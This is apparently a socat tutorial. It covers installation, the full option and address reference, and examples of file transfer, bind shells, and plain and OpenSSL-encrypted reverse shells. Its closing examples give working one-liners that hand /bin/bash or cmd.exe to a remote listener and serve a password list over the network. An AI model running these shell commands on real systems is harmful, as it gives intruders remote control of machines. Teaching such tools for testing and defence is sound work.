socat is a relay for bidirectional data transfer between two independent data channels. Each of these data channels may be a file, pipe, device (serial line etc. or a pseudo terminal), a socket (UNIX, IP4, IP6 - raw, UDP, TCP), an SSL socket, proxy CONNECT connection, a file descriptor (stdin etc.), the GNU line editor (readline), a program, or a combination of two of these. These modes include generation of “listening” sockets, named pipes, and pseudo terminals.
socat can be used, e.g., as TCP port forwarder (one-shot or daemon), as an external socksifier, for attacking weak firewalls, as a shell interface to UNIX sockets, IP6 relay, for redirecting TCP oriented programs to a serial line, to logically connect serial lines on different computers, or to establish a relatively secure environment (su and chroot) for running client or server shell scripts with network connections.
Many options are available to refine socats behavior: terminal parameters, open() options, file permissions, file and process owners, basic socket options like bind address, advanced socket options like IP source routing, linger, TTL, TOS (type of service), or TCP performance tuning.
More capabilities, like daemon mode with forking, client address check, “tail -f” mode, some stream data processing (line terminator conversion), choosing sockets, pipes, or ptys for interprocess communication, debug and trace options, logging to syslog, stderr or file, and last but not least precise error messages make it a versatile tool for many different purposes.
In fact, many of these features already exist in specialized tools; but until now, there does not seem to exists another tool that provides such a generic, flexible, simple and almost comprehensive (UNIX) byte stream connector.
sudo apt install socat
brew install socat
socat [options] <bi-address> <bi-address>
options:
-V print version and feature information to stdout, and exit
-h|-? print a help text describing command line options and addresses
-hh like -h, plus a list of all common address option names
-hhh like -hh, plus a list of all available address option names
-d[ddd] increase verbosity (use up to 4 times; 2 are recommended)
-D analyze file descriptors before loop
-ly[facility] log to syslog, using facility (default is daemon)
-lf<logfile> log to file
-ls log to stderr (default if no other log)
-lm[facility] mixed log mode (stderr during initialization, then syslog)
-lp<progname> set the program name used for logging
-lu use microseconds for logging timestamps
-lh add hostname to log messages
-v verbose text dump of data traffic
-x verbose hexadecimal dump of data traffic
-r <file> raw dump of data flowing from left to right
-R <file> raw dump of data flowing from right to left
-b<size_t> set data buffer size (8192)
-s sloppy (continue on error)
-t<timeout> wait seconds before closing second channel
-T<timeout> total inactivity timeout in seconds
-u unidirectional mode (left to right)
-U unidirectional mode (right to left)
-g do not check option groups
-L <lockfile> try to obtain lock, or fail
-W <lockfile> try to obtain lock, or wait
-4 prefer IPv4 if version is not explicitly specified
-6 prefer IPv6 if version is not explicitly specified
bi-address:
pipe[,<opts>] groups=FD,FIFO
<single-address>!!<single-address>
<single-address>
single-address:
<address-head>[,<opts>]
address-head:
create:<filename> groups=FD,REG,NAMED
exec:<command-line> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
fd:<num> groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
gopen:<filename> groups=FD,FIFO,CHR,BLK,REG,SOCKET,NAMED,OPEN,TERMIOS,UNIX
ip-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6
ip-recv:<protocol> groups=FD,SOCKET,RANGE,IP4,IP6
ip-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6
ip-sendto:<host>:<protocol> groups=FD,SOCKET,IP4,IP6
ip4-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP4
ip4-recv:<protocol> groups=FD,SOCKET,RANGE,IP4
ip4-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP4
ip4-sendto:<host>:<protocol> groups=FD,SOCKET,IP4
ip6-datagram:<host>:<protocol> groups=FD,SOCKET,RANGE,IP6
ip6-recv:<protocol> groups=FD,SOCKET,RANGE,IP6
ip6-recvfrom:<protocol> groups=FD,SOCKET,CHILD,RANGE,IP6
ip6-sendto:<host>:<protocol> groups=FD,SOCKET,IP6
open:<filename> groups=FD,FIFO,CHR,BLK,REG,NAMED,OPEN,TERMIOS
openssl:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,OPENSSL
openssl-dtls-client:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,UDP,OPENSSL
openssl-dtls-server:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,UDP,OPENSSL
openssl-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP,OPENSSL
pipe:<filename> groups=FD,FIFO,NAMED,OPEN
proxy:<proxy-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,HTTP
pty groups=FD,NAMED,TERMIOS,PTY
readline groups=FD,READLINE,TERMIOS
sctp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,SCTP
sctp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,SCTP
sctp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,SCTP
sctp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,SCTP
sctp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,SCTP
sctp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,SCTP
socket-connect:<domain>:<protocol>:<remote-address> groups=FD,SOCKET,CHILD,RETRY
socket-datagram:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET,RANGE
socket-listen:<domain>:<protocol>:<local-address> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE
socket-recv:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,RANGE
socket-recvfrom:<domain>:<type>:<protocol>:<local-address> groups=FD,SOCKET,CHILD,RANGE
socket-sendto:<domain>:<type>:<protocol>:<remote-address> groups=FD,SOCKET
socks4:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
socks4a:<socks-server>:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP,SOCKS4
stderr groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdin groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdio groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
stdout groups=FD,FIFO,CHR,BLK,REG,SOCKET,TERMIOS,UNIX,IP4,IP6,UDP,TCP,SCTP
system:<shell-command> groups=FD,FIFO,SOCKET,EXEC,FORK,TERMIOS,PTY,PARENT,UNIX
tcp-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,IP6,TCP
tcp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,IP6,TCP
tcp4-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP4,TCP
tcp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP4,TCP
tcp6-connect:<host>:<port> groups=FD,SOCKET,CHILD,RETRY,IP6,TCP
tcp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RETRY,RANGE,IP6,TCP
udp-connect:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
udp-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,UDP
udp-recv:<port> groups=FD,SOCKET,RANGE,IP4,IP6,UDP
udp-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,IP6,UDP
udp-sendto:<host>:<port> groups=FD,SOCKET,IP4,IP6,UDP
udp4-connect:<host>:<port> groups=FD,SOCKET,IP4,UDP
udp4-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP4,UDP
udp4-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP4,UDP
udp4-recv:<port> groups=FD,SOCKET,RANGE,IP4,UDP
udp4-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP4,UDP
udp4-sendto:<host>:<port> groups=FD,SOCKET,IP4,UDP
udp6-connect:<host>:<port> groups=FD,SOCKET,IP6,UDP
udp6-datagram:<host>:<port> groups=FD,SOCKET,RANGE,IP6,UDP
udp6-listen:<port> groups=FD,SOCKET,LISTEN,CHILD,RANGE,IP6,UDP
udp6-recv:<port> groups=FD,SOCKET,RANGE,IP6,UDP
udp6-recvfrom:<port> groups=FD,SOCKET,CHILD,RANGE,IP6,UDP
udp6-sendto:<host>:<port> groups=FD,SOCKET,IP6,UDP
unix-client:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-connect:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-listen:<filename> groups=FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
unix-recv:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
unix-recvfrom:<filename> groups=FD,SOCKET,NAMED,CHILD,RETRY,UNIX
unix-sendto:<filename> groups=FD,SOCKET,NAMED,RETRY,UNIX
Server:
STDOUT
- redirects the standard output into the sessionsudo socat TCP4:<remote-server>:80 STDOUT
Client:
-
- allows STDIO to be received and interacted with via keyboard interactionsudo socat - TCP4:<remote-server>:80
Sender:
fork
- creates a child process once a connection is made, this allows for multiple connectionssudo socat TCP4-LISTEN:443,fork file:list_of_passwords.txt
Receiver:
file
- specifies the local file name to save the file tocreate
- specifies a new file will be created$ socat TCP4:10.11.0.4:443 file:list_of_passwords.txt,create
C:\Users\crypt0r> type list_of_passwords.txt
Welkom01
Welcome01
Hellothere!
Summer2022!
Server:
-d -d
- option increases verbosityTCP4-LISTEN:443
- creates the IPv4 listener on port 443STDOUT
- connects to the standard outputsocat -d -d TCP4-LISTEN:443 STDOUT
Client:
EXEC:/bin/bash
- states when the connection is established it will allow access to /bin/bash
socat TCP4:10.0.0.10:443 EXEC:/bin/bash
Server:
In this case a Windows machine.
socat -d -d TCP4-LISTEN:443 EXEC:'cmd.exe',pipes
Client:
socat - TCP4:<IP-of-SERVER>:443
To create a certificate, please check OpenSSL.
Server:
sudo socat OPENSSL-LISTEN:443,cert=yourcert.pem,verify=0,fork EXEC:/bin/bash
Client:
socat - OPENSSL:10.11.0.4:443,verify=0
Server:
Listening for incoming reverse shell serving the certificate created with OpenSSL.
sudo socat OPENSSL-LISTEN:443,cert=cert.pem,verify=0
Client:
Windows machine starting the connection to server routing cmd.exe
in the shell.
socat -d -d OPENSSL:192.168.189.44:443,verify=0 EXEC:'cmd.exe',pipes